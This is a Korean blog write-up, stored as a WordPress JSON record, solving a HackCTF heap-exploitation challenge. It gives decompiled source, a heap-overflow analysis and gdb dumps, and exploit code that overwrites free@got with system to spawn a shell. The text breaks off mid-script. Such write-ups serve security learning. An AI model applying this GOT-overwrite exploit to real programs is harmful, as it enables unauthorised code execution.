{"id":3894,"date":"2025-07-25T02:01:14","date_gmt":"2025-07-24T17:01:14","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3894"},"modified":"2025-07-25T02:02:28","modified_gmt":"2025-07-24T17:02:28","slug":"hackctf-%ed%92%8d%ec%88%98%ec%a7%80%eb%a6%ac%ec%84%a4-heap-fengshui","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3894","title":{"rendered":"[HackCTF] \ud48d\uc218\uc9c0\ub9ac\uc124 (heap fengshui?)"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Heap Fengshui?<\/h3>\n\n\n\n<p>\uc120\ud0dd\ub41c \ud06c\uae30\uc758 \ud799 \ud560\ub2f9\uc744 \ub9cc\ub4e4\uc5b4 \ud799\uc758 \ub808\uc774\uc544\uc6c3\uc744 \uc870\uc791\ud558\ub294 \uae30\ubc95<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Source<\/h3>\n\n\n\n<p><a href=\"https:\/\/github.com\/koharin\/pwnable2\/tree\/main\/hackCTF\/pwnable\/fengshui\">https:\/\/github.com\/koharin\/pwnable2\/tree\/main\/hackCTF\/pwnable\/fengshui<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">checksec<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@e31c3240ce98:~\/study\/fengshui$ checksec .\/fengshui\n[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)\n[*] '\/home\/ubuntu\/study\/fengshui\/fengshui'\n    Arch:       i386-32-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x8048000)\n    Stripped:   No\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Decompiled-src \/ Anlaysis<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">main<\/h3>\n\n\n\n<p>\uc544\ub798\uc640 \uac19\uc774 4\uac00\uc9c0 \uba54\ub274\uac00 \uc874\uc7ac\ud55c\ub2e4.<\/p>\n\n\n\n<p>size of description\uacfc index\ub294 main \ud568\uc218\uc5d0\uc11c \uc785\ub825\ubc1b\ub294\ub2e4. <strong><code>(unsigned __int8)cnt &gt; 0x31u<\/code><\/strong> \uc870\uac74\uc744 \ubcf4\uc544 49\uac1c\uc758 \uc2ac\ub86f\uae4c\uc9c0 \uc800\uc7a5\ud560 \uc218 \uc788\ub294 \uac83\uc73c\ub85c \ubcf4\uc778\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\n  char v3; \/\/ [esp+3h] [ebp-15h] BYREF\n  int v4; \/\/ [esp+4h] [ebp-14h] BYREF\n  _DWORD v5[4]; \/\/ [esp+8h] [ebp-10h] BYREF\n\n  v5[1] = __readgsdword(0x14u);\n  setvbuf(stdin, 0, 2, 0);\n  setvbuf(stdout, 0, 2, 0);\n  while ( 1 )\n  {\n    puts(\"0: Add a Location\");\n    puts(\"1: Delete a Location\");\n    puts(\"2: Display a Location\");\n    puts(\"3: Update a Location description\");\n    puts(\"4: Exit\");\n    printf(\"Choice: \");\n    if ( __isoc99_scanf(\"%d\", &amp;v4) == -1 )\n      break;\n    if ( !v4 )\n    {\n      printf(\"Size of description: \");\n      __isoc99_scanf(\"%u%c\", v5, &amp;v3);\n      add_location(v5[0]);\n    }\n    if ( v4 == 1 )\n    {\n      printf(\"Index: \");\n      __isoc99_scanf(\"%d\", v5);\n      delete_location(LOBYTE(v5[0]));\n    }\n    if ( v4 == 2 )\n    {\n      printf(\"Index: \");\n      __isoc99_scanf(\"%d\", v5);\n      display_location(LOBYTE(v5[0]));\n    }\n    if ( v4 == 3 )\n    {\n      printf(\"Index: \");\n      __isoc99_scanf(\"%d\", v5);\n      update_desc(LOBYTE(v5[0]));\n    }\n    if ( v4 == 4 )\n    {\n      puts(\"^^7\");\n      exit(0);\n    }\n    if ( (unsigned __int8)cnt > 0x31u )\n    {\n      puts(\"Capacity Exceeded!\");\n      exit(0);\n    }\n  }\n  exit(1);\n}\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">1. add_location<\/h3>\n\n\n\n<p>desc_size\ub97c \uc0ac\uc6a9\uc790\uac00 \uc784\uc758\ub85c \uc9c0\uc815\ud560 \uc218 \uc788\uc73c\ub098,<\/p>\n\n\n\n<p>name\uc758 \uacbd\uc6b0\uc5d0\ub294 0x80\ud06c\uae30\ub85c malloc \ud06c\uae30\uac00 \uace0\uc815\ub41c\ub2e4. name\uc744 124\ub9cc\ud07c \ub370\uc774\ud130\ub97c \uc4f8 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/.bss:0804B080 ; Location **store[49]\n\/\/.bss:0804B080 store           dd ? \n\/\/ \uad6c\uc870\uccb4 \uc0dd\uc131\nstruct Location\n{\n  char *description;\n  char name[124];\n};\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Location *__cdecl add_location(size_t desc_size)\n{\n  void *description; \/\/ [esp+14h] [ebp-14h]\n  Location *name; \/\/ [esp+18h] [ebp-10h]\n\n  description = malloc(desc_size);\n  memset(description, 0, desc_size);\n  name = (Location *)malloc(0x80u);\n  memset(name, 0, sizeof(Location));\n  name->description = (char *)description;\n  store[(unsigned __int8)cnt] = name;\n  printf(\"Name: \");\n  read_len(store[(unsigned __int8)cnt]->name, 124);\n  update_desc(cnt++);\n  return name;\n}\n\nunsigned int __cdecl read_len(char *a1, int a2)\n{\n  char *v3; \/\/ [esp+18h] [ebp-10h]\n  unsigned int v4; \/\/ [esp+1Ch] [ebp-Ch]\n\n  v4 = __readgsdword(0x14u);\n  fgets(a1, a2, stdin);\n  v3 = strchr(a1, '\\\\n');\n  if ( v3 )\n    *v3 = 0;\n  return __readgsdword(0x14u) ^ v4;\n}\n<\/pre>\n\n\n\n<p>update_desc \ud568\uc218\uc5d0\uc11c text_length\uc744 \uc785\ub825\ubc1b\uc740 \ub2e4\uc74c, <strong>[description\uc758 \uc8fc\uc18c + \uc785\ub825\ud560 length &gt;= Name\uc758 \uc8fc\uc18c &#8211; 4] \uc870\uac74<\/strong>\uc744 \ub9cc\uc871\ud558\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n\n\n\n<p>\ud574\ub2f9 \uc870\uac74\ubb38\uc744 \ub9cc\uc871\uc2dc\ud0a4\uc9c0 \uc54a\ub294\ub2e4\uba74, text_len+1\ub9cc\ud07c desc\ub97c \uc785\ub825\ubc1b\uc744 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">unsigned int __cdecl update_desc(unsigned __int8 _cnt)\n{\n  char v2; \/\/ [esp+17h] [ebp-11h] BYREF\n  int text_len; \/\/ [esp+18h] [ebp-10h] BYREF\n  unsigned int v4; \/\/ [esp+1Ch] [ebp-Ch]\n\n  v4 = __readgsdword(0x14u);\n  if ( _cnt &lt; (unsigned __int8)cnt &amp;&amp; store[_cnt] )\n  {\n    text_len = 0;\n    printf(\"Text length: \");\n    __isoc99_scanf(\"%u%c\", &amp;text_len, &amp;v2);\n    if ( (char *)*store[_cnt] + text_len >= (char *)(store[_cnt] - 1) )\n    {\n      puts(\"Nah...\");\n      exit(1);\n    }\n    printf(\"Text: \");\n    read_len((char *)*store[_cnt], text_len + 1);\n  }\n  return __readgsdword(0x14u) ^ v4;\n}\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. delete_location<\/h3>\n\n\n\n<p><code>a1<\/code>(\uc0ad\uc81c\ud560 \uc778\ub371\uc2a4)\uac00 \uc804\uc5ed \ubcc0\uc218 <code>cnt<\/code>(\ucd5c\ub300 \ud5c8\uc6a9 \uac1c\uc218)\ubcf4\ub2e4 \uc791\uc740\uc9c0, <code>store[a1]<\/code>\uac00 NULL\uc774 \uc544\ub2cc\uc9c0 \uac80\uc0ac\ud55c\ub2e4.<\/p>\n\n\n\n<p><code>*store[a1]<\/code>\uc5d0\ub294 \uc2e4\uc81c \ub370\uc774\ud130 \ubc84\ud37c\uc5d0 \ub300\ud55c \ud3ec\uc778\ud130\uac00 \uc800\uc7a5\ub418\uc5b4 \uc788\uc73c\ubbc0\ub85c, \uccab \ubc88\uc9f8 <code>free<\/code>\ub85c \uadf8 \ub370\uc774\ud130\ub97c \ud574\uc81c\ud55c\ub2e4.<\/p>\n\n\n\n<p>\ub450 \ubc88\uc9f8 <code>free<\/code>\ub85c\ub294 \ubc84\ud37c \ud3ec\uc778\ud130 \uc790\uccb4\ub97c \ub2f4\uace0 \uc788\ub294 <code>store[a1]<\/code> \uc2ac\ub86f \uba54\ubaa8\ub9ac\ub97c \ud574\uc81c\ud55c\ub2e4.<\/p>\n\n\n\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c <code>store[a1] = 0;<\/code> \uc73c\ub85c \ud574\ub2f9 \uc2ac\ub86f\uc744 NULL\ub85c \uc124\uc815\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">unsigned int __cdecl delete_location(unsigned __int8 a1)\n{\n  unsigned int v2; \/\/ [esp+1Ch] [ebp-Ch]\n\n  v2 = __readgsdword(0x14u);\n  if ( a1 &lt; (unsigned __int8)cnt &amp;&amp; store[a1] )\n  {\n    free(*store[a1]);\n    free(store[a1]);\n    store[a1] = 0;\n  }\n  return __readgsdword(0x14u) ^ v2;\n}\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3. display_location<\/h3>\n\n\n\n<p>\uc778\ub371\uc2a4\uc5d0 \ud574\ub2f9\ub418\ub294 name, desc \ub370\uc774\ud130\ub97c \ucd9c\ub825\ud574\uc900\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">unsigned int __cdecl display_location(unsigned __int8 a1)\n{\n  unsigned int v2; \/\/ [esp+1Ch] [ebp-Ch]\n\n  v2 = __readgsdword(0x14u);\n  if ( a1 &lt; (unsigned __int8)cnt &amp;&amp; store[a1] )\n  {\n    printf(\"Name: %s\\\\n\", (const char *)store[a1] + 4);\n    printf(\"Description: %s\\\\n\", (const char *)*store[a1]);\n  }\n  return __readgsdword(0x14u) ^ v2;\n}\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">4. update_desc<\/h3>\n\n\n\n<p>1\ubc88 add_location\uc5d0\uc11c update_desc\uac00 \ud638\ucd9c\ub418\ub294 \ud568\uc218\uc640 \uac19\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">unsigned int __cdecl update_desc(unsigned __int8 _cnt)\n{\n  char v2; \/\/ [esp+17h] [ebp-11h] BYREF\n  int text_len; \/\/ [esp+18h] [ebp-10h] BYREF\n  unsigned int v4; \/\/ [esp+1Ch] [ebp-Ch]\n\n  v4 = __readgsdword(0x14u);\n  if ( _cnt &lt; (unsigned __int8)cnt &amp;&amp; store[_cnt] )\n  {\n    text_len = 0;\n    printf(\"Text length: \");\n    __isoc99_scanf(\"%u%c\", &amp;text_len, &amp;v2);\n    if ( (char *)*store[_cnt] + text_len >= (char *)(store[_cnt] - 1) )\n    {\n      puts(\"Nah...\");\n      exit(1);\n    }\n    printf(\"Text: \");\n    read_len((char *)*store[_cnt], text_len + 1);\n  }\n  return __readgsdword(0x14u) ^ v4;\n}\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Solution<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">1. 3\ubc88 \ud560\ub2f9<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">if ( (char *)*store[_cnt] + text_len >= (char *)(store[_cnt] - 1) )\n<\/pre>\n\n\n\n<p>add_location \ud568\uc218\uc5d0\uc11c \ud638\ucd9c\ub418\ub294 update_desc \ud568\uc218\uc758 \uc704 \uc870\uac74\uc5d0 \uc758\ud574 desc_size\uac00 0x10\uc778 \uacbd\uc6b0, text_len\uc740 0x10+4\uc774\uc0c1\uc774\uba74 \uc548\ub41c\ub2e4.<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c \uc544\ub798\uc640 \uac19\uc774 text_len\uc774 desc_size\ubcf4\ub2e4 \uc791\uac8c \ud560\ub2f9\ud574\uc8fc\uc5c8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">for i in range(3):\n    add_location(desc_size=0x10, name=b\"A\"*8, text_len=8, text=b\"a\"*8)\n<\/pre>\n\n\n\n<p>\ud799 \uccad\ud06c\ub97c \uc0b4\ud3b4\ubcf4\uba74<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x804c000           0x0                 0x18                 Used                None              None\n0x804c018           0x0                 0x88                 Used                None              None\n0x804c0a0           0x0                 0x18                 Used                None              None\n0x804c0b8           0x0                 0x88                 Used                None              None\n0x804c140           0x0                 0x18                 Used                None              None\n0x804c158           0x0                 0x88                 Used                None              None\n<\/pre>\n\n\n\n<p>\uad6c\uc870\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p>Location \uad6c\uc870\uccb4 \ud560\ub2f9\uc744 \uc704\ud574 malloc\ub418\ub294 \ud06c\uae30\ub294 0x80\ud06c\uae30\ub85c \uace0\uc815\ub418\uc788\uace0, (Location \uad6c\uc870\uccb4 \uad6c\uc870 = text 4\ubc14\uc774\ud2b8 \uc8fc\uc18c\uac12 + name[124])<\/p>\n\n\n\n<p>text\uc758 \uacbd\uc6b0 \ud560\ub2f9\ud06c\uae30\ub97c \uc0ac\uc6a9\uc790\uac00 \uc784\uc758\ub85c \uc9c0\uc815\ud560 \uc218 \uc788\uc73c\uba70 malloc\ub41c \ud06c\uae30\ub294 0x10\uc774\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"770\" height=\"378\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-8.png\" alt=\"\" class=\"wp-image-3895\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-8.png 770w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-8-300x147.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-8-768x377.png 768w\" sizes=\"auto, (max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">2. delete_location(0)<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">delete_location(0)\n<\/pre>\n\n\n\n<p>\uacb0\uacfc<\/p>\n\n\n\n<p>delete_location\uc5d0 \uc758\ud574 text \ud560\ub2f9\uc8fc\uc18c\uc640 Location \uad6c\uc870\uccb4 \uc8fc\uc18c\uac00 \uc800\uc7a5\ub41c store[0] \ud560\ub2f9\uc8fc\uc18c\ub97c \ucc28\ub840\ub85c free\uc2dc\ud0a8\ub2e4.<\/p>\n\n\n\n<p>\uc774\ud6c4 store[0] \uac12\uc744 0\uc73c\ub85c \ucd08\uae30\ud654\uc2dc\ud0a8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n**0x804c000           0x0                 0x18                 Freed                0x0              None\n0x804c018           0x0                 0x88                 Freed         0xf7fc57b0        0xf7fc57b0**\n0x804c0a0           0x88                0x18                 Used                None              None\n0x804c0b8           0x0                 0x88                 Used                None              None\n0x804c140           0x0                 0x18                 Used                None              None\n0x804c158           0x0                 0x88                 Used                None              None\ngdb-peda$ heapinfo\n(0x10)     fastbin[0]: 0x0\n(0x18)     fastbin[1]: 0x804c000 --> 0x0\n(0x20)     fastbin[2]: 0x0\n(0x28)     fastbin[3]: 0x0\n(0x30)     fastbin[4]: 0x0\n(0x38)     fastbin[5]: 0x0\n(0x40)     fastbin[6]: 0x0\n(0x48)     fastbin[7]: 0x0\n(0x50)     fastbin[8]: 0x0\n(0x58)     fastbin[9]: 0x0\n                  top: 0x804c1e0 (size : 0x20e20)\n       last_remainder: 0x0 (size : 0x0)\n            unsortbin: 0x804c018 (size : 0x88)\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3. text malloc \ud06c\uae30\ub97c 0x30\uc73c\ub85c Location \ud560\ub2f9\ud574\ubcf4\uae30<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">add_location(desc_size=0x30, name=b\"A\"*8, text_len=0x8, text=b\"a\"*8)\n<\/pre>\n\n\n\n<p><strong>\uacb0\uacfc<\/strong><\/p>\n\n\n\n<p>add_location \ud568\uc218\ub97c \ub2e4\uc2dc \uc0b4\ud3b4\ubd24\uc744\ub584, \uba3c\uc800 \uc0ac\uc6a9\uc790\uac00 \uc9c0\uc815\ud55c desc_size\ub9cc\ud07c malloc\ud55c\ub2e4.<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c \ud574\ub2f9 \uccad\ud06c\ub294 0x80\ub9cc\ud07c <strong>Location\uc744 \ud560\ub2f9\ud558\uace0 free\ud588\uc5c8\ub358 \uccad\ud06c<\/strong>\ub85c\ubd80\ud130 \ub2e4\uc2dc \uac00\uc838\uc628\ub2e4.<\/p>\n\n\n\n<p>2\ubc88\uc9f8\ub85c name \ud560\ub2f9 \uccad\ud06c\ub294 \uae30\uc874 \uccad\ud06c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\uc9c0 \uc54a\uace0 \uc544\uc608 \uc0c8\ub85c \ubc1b\ub294\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">gdb-peda$ parseheap\naddr                prev                size                 status              fd                bk \n0x804c000           0x0                 0x18                 Freed                0x0              None\n**0x804c018           0x0                 0x38                 Used                None              None**\n0x804c050           0x0                 0x50                 Freed         0xf7fc57f8        0xf7fc57f8\n0x804c0a0           0x50                0x18                 Used                None              None\n0x804c0b8           0x0                 0x88                 Used                None              None\n0x804c140           0x0                 0x18                 Used                None              None\n0x804c158           0x0                 0x88                 Used                None              None\n**0x804c1e0           0x0                 0x88                 Used                None              None**\n\ngdb-peda$ heapinfo\n(0x10)     fastbin[0]: 0x0\n(0x18)     fastbin[1]: 0x804c000 --> 0x0\n(0x20)     fastbin[2]: 0x0\n(0x28)     fastbin[3]: 0x0\n(0x30)     fastbin[4]: 0x0\n(0x38)     fastbin[5]: 0x0\n(0x40)     fastbin[6]: 0x0\n(0x48)     fastbin[7]: 0x0\n(0x50)     fastbin[8]: 0x0\n(0x58)     fastbin[9]: 0x0\n                  top: 0x804c268 (size : 0x20d98)\n       last_remainder: 0x804c050 (size : 0x50)\n            unsortbin: 0x0\n(0x050)  smallbin[ 8]: 0x804c050\n\ngdb-peda$ x\/8wx &amp;store\n0x804b080 &lt;store>:      0x00000000      0x0804c0c0      0x0804c160      0x0804c1e8\n0x804b090 &lt;store+16>:   0x00000000      0x00000000      0x00000000      0x00000000\n<\/pre>\n\n\n\n<p>\uadf8\ub9bc\uc73c\ub85c \ub098\ud0c0\ub0c8\uc744\ub54c \uc544\ub798\uc640 \uac19\ub2e4\u2026<\/p>\n\n\n\n<p>\uc774\ub97c \ud1b5\ud574 <code>store[3]\u2192description(text)<\/code>\uc5d0 \ud560\ub2f9\ub418\ub294 \uacf3\uc744 \uc0b4\ud3b4\ubd24\uc744\ub54c 0x804c020\uc774\ub77c\ub294\uc810\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p>update_desc \ud568\uc218\uc758 <code>if ( (char *)*store[_cnt] + text_len &gt;= (char *)(store[_cnt] - 1) )<\/code> \uc870\uac74\ubb38\uc744 \ub2e4\uc2dc \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n\n\n\n<p>\uc2e4\uc81c\ub85c, <code>add_location(desc_size=0x30, name=b\"A\"*8, text_len=0x38, text=b\"a\"*8)<\/code> \ucf54\ub4dc\ub864 \ub300\uc2e0 \ub123\uc5b4\ub3c4 \ubb34\uc0ac\ud788 \uac80\uc99d\uc744 \ud53c\ud560 \uc218 \uc788\ub294\ub370, \uc5ec\uc804\ud788 eax(=<code>(char *)(store[_cnt] - 1)<\/code>, <code>0x804c1e4<\/code>)\uac12\uc774 edx(=<code>(char *)*store[_cnt] + text_len<\/code>, <code>0x804c058<\/code>)\uac12\ubcf4\ub2e4 \ud06c\uae30 \ub54c\ubb38\uc5d0 \ud1b5\uacfc\ud55c\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">[----------------------------------registers-----------------------------------]\nEAX: 0x804c1e4 --> 0x89\nEBX: 0x0\nECX: 0x2\nEDX: 0x804c058 --> 0xf7fc57f8 --> 0xf7fc57f0 --> 0xf7fc57e8 --> 0xf7fc57e0 --> 0xf7fc57d8 (--> ...)\nESI: 0xf7fc5000 --> 0x1b2db0\nEDI: 0xf7fc5000 --> 0x1b2db0\nEBP: 0xffffd638 --> 0xffffd678 --> 0xffffd6a8 --> 0x0\nESP: 0xffffd610 --> 0xf7fc5000 --> 0x1b2db0\nEIP: 0x80487af (&lt;update_desc+139>:      cmp    edx,eax)\nEFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n   0x80487a1 &lt;update_desc+125>: movzx  eax,BYTE PTR [ebp-0x1c]\n   0x80487a5 &lt;update_desc+129>: mov    eax,DWORD PTR [eax*4+0x804b080]\n   0x80487ac &lt;update_desc+136>: sub    eax,0x4\n=> 0x80487af &lt;update_desc+139>: cmp    edx,eax\n   0x80487b1 &lt;update_desc+141>: jb     0x80487cd &lt;update_desc+169>\n   0x80487b3 &lt;update_desc+143>: sub    esp,0xc\n   0x80487b6 &lt;update_desc+146>: push   0x8048cc3\n   0x80487bb &lt;update_desc+151>: call   0x8048540 &lt;puts@plt>\n\ngdb-peda$ x\/8wx &amp;store\n0x804b080 &lt;store>:      0x00000000      0x0804c0c0      0x0804c160      0x0804c1e8\n0x804b090 &lt;store+16>:   0x00000000      0x00000000      0x00000000      0x00000000\n\ngdb-peda$ p\/x 0x0804c1e8-4\n$3 = 0x804c1e4\n\ngdb-peda$ x\/wx 0x0804c1e8\n0x804c1e8:      0x0804c020\n\ngdb-peda$ p\/x 0x0804c020+0x38\n$1 = 0x804c058\n<\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"786\" height=\"582\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-9.png\" alt=\"\" class=\"wp-image-3896\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-9.png 786w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-9-300x222.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/07\/image-9-768x569.png 768w\" sizes=\"auto, (max-width: 786px) 100vw, 786px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">4. AAW\u2026<\/h3>\n\n\n\n<p>\uacb0\ub860\uc73c\ub85c, \ud799 \uc624\ubc84\ud50c\ub85c\uc6b0\uac00 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n\n\n\n<p>3\ubc88 \uacfc\uc815\uc5d0\uc11c \uc9c4\ud589\ud588\ub358 <code>add_location(desc_size=0x30, name=b\"A\"*8, text_len=0x8, text=b\"a\"*8)<\/code> \ucf54\ub4dc \ub300\uc2e0\uc5d0<\/p>\n\n\n\n<p>0x30 \ud06c\uae30\ub294 \uc720\uc9c0\ud55c\ucc44 text_len\ud06c\uae30\ub97c \ub298\uc5ec\uc11c store[1]\uc5d0 \uc801\ud78c \uccad\ud06c \uc8fc\uc18c\ub97c free@got\uc73c\ub85c \ub36e\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># ip()\npay = b\"b\"*0xa0 + p32(e.got.free)\nadd_location(desc_size=0x30, name=b\"B\"*8, text_len=len(pay), text=pay)\n<\/pre>\n\n\n\n<p>display_location \ud568\uc218\ub85c free \uc8fc\uc18c\ub97c leak\ud558\uc5ec libc base \uc8fc\uc18c\ub97c \uad6c\ud558\uace0,<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">display_location(1)\n\nru(b\"Description: \")\nleak = r(4)\nleak = uu32(leak)\nprint(\"leak: \"+ hex(leak))\nl.address = leak - l.sym.free\nprint(\"libc base: \"+ hex(l.address))\n<\/pre>\n\n\n\n<p>update_location_desc \ud568\uc218\ub85c free@got \uc8fc\uc18c\ub97c system\uc73c\ub85c \ub36e\uc5b4\uc50c\uc6b8 \uc218 \uc788\ub2e4. \uc0ac\uc804\uc5d0 \/bin\/sh\uac00 \uc801\ud78c \uccad\ud06c\ub97c free\uc2dc\ud0a4\uba74 \uc258 \ud68d\ub4dd \uac00\ub2a5.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">update_location_desc(idx=1, text_len=4, text=p32(l.sym.system))\n\ndelete_location(2)     # system(\"\/bin\/sh\")\n<\/pre>\n\n\n\n<p>\uc804\uccb4 \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4\u2026<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">for i in range(3):\n    # ip()\n    add_location(desc_size=0x10, name=b\"A\"*8, text_len=0x8, text=b\"\/bin\/sh\\\\x00\")\n\ndelete_location(0)\n\n# ip()\npay = b\"b\"*0xa0 + p32(e.got.free)\nadd_location(desc_size=0x30, name=b\"B\"*8, text_len=len(pay), text=pay)\n\ndisplay_location(1)\n\nru(b\"Description: \")\nleak = r(4)\nleak = uu32(leak)\nprint(\"leak: \"+ 